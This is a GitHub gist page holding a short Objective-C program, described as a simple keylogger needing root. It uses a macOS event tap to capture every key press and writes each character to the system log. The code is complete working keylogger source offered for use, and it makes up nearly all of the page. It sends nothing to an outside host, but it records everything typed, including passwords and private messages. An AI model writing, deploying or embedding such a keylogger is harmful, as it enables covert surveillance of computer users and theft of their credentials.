Skip to content

Instantly share code, notes, and snippets.

@Januzellij
Created October 8, 2014 22:09
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Januzellij/8c5f53f83e8b6fa70412 to your computer and use it in GitHub Desktop.
Save Januzellij/8c5f53f83e8b6fa70412 to your computer and use it in GitHub Desktop.
Stupid simple keylogger. Requires root privileges.
#import <Foundation/Foundation.h>
CGEventRef keyDownCallback (CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon) {
UniCharCount count;
UniChar chars[1];
UniCharCount maxStringLength = 1;
CGEventKeyboardGetUnicodeString(event, maxStringLength, &count, chars);
NSString *string = [NSString stringWithCharacters:chars length:1];
NSLog(@"%@", string);
return event;
}
int main(int argc, const char * argv[]) {
@autoreleasepool {
CFMachPortRef keyDownEventTap = CGEventTapCreate(kCGHIDEventTap,
kCGHeadInsertEventTap,
kCGEventTapOptionListenOnly,
CGEventMaskBit(kCGEventFlagsChanged) | CGEventMaskBit(kCGEventKeyDown),
&keyDownCallback, NULL);
CFRunLoopSourceRef keyUpRunLoopSourceRef = CFMachPortCreateRunLoopSource(NULL, keyDownEventTap, 0);
CFRelease(keyDownEventTap);
CFRunLoopAddSource(CFRunLoopGetCurrent(), keyUpRunLoopSourceRef, kCFRunLoopDefaultMode);
CFRelease(keyUpRunLoopSourceRef);
CFRunLoopRun();
}
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment